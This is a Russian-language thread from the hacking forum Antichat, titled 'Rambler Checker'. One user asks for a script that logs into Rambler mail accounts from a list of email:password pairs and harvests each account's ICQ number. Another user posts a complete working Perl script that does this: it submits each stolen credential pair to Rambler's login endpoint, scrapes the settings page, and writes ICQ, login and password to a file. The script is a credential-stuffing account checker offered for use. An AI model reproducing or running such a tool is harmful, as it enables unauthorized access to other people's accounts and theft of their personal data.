Форум АНТИЧАТ - Rambler Checker

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - Rambler Checker (https://forum.antichat.xyz/showthread.php?t=56146)

Народ , кто поможет написать скрипт ?
Суть :
Есть список мыл:паролей (txt)
qwe@ramber.ru:Пassword

Нужно :
Логинится через

Код:

http://mail.rambler.ru/script/auth.cgi

Нажимать на ссылку с именем ящика qwe@ramber.ru
(ссылка вида http://id.rambler.ru)
Открывается страница

Код:

http://id.rambler.ru/script/settings.cgi

На странице искать следующие строки :

Код:

Ваш номер ICQ: 12345

Результат записывать в файл , допустим , out.txt
примерно в таком виде

Код:

12345 : qwe@ramber.ru

Огромное спасибо за помощь ;)

За $ напишу...стукай в асю

Спасибо , но воздержусь пока ...

Цитата:

Сообщение от Xszz

Спасибо , но воздержусь пока ...

Тут тебя врятли помогут написать скрипт, но поздказать смогут без проблем, учи php, и пользуйся сокетами или cURL и удачи тебе:)

йа сегодня добрый

Код:

#!/usr/bin/perl -w



use strict;

use LWP::UserAgent;

use HTTP::Cookies;



print "\nRambler.ru ICQ parser $0 Coded by C!klodoL\n";



my $mails = 'rambler.txt'; #мыла

my $icqs  = 'icq.txt';  #осику



open(my $inFile, "<$mails");

my @mail = <$inFile>;

close $inFile;

chomp @mail;



open(my $outFile, ">>$icqs");



my $ua = LWP::UserAgent->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

my $cookies = HTTP::Cookies->new();

$ua->cookie_jar($cookies);



while (@mail) {

        my ($user, $pass) = split(/:/, shift(@mail));

        $user =~ s/@.+//;

        my $req = $ua->post("http://mail.rambler.ru/script/auth.cgi?login=$user&passw=$pass")->as_string;

        my ($location) = $req =~ /Location: (.+)/;

        if ($location) {

                $req = $ua->get($location);

                $req = $ua->get('http://id.rambler.ru/script/settings.cgi')->as_string;

                my ($icq) = $req =~ /ICQ">(\d+)/;

                if ($icq) {

                        print "$icq:$user:$pass\n";

                        print $outFile "$icq:$user:$pass\n";

                        } else {

                                print "NoICQ:$user:$pass\n";

                                print $outFile "NoICQ:$user:$pass\n";

                                }

                }

$cookies->clear;

}

правда я хз банят ли там за частые запросы

Опа спасибо ;)))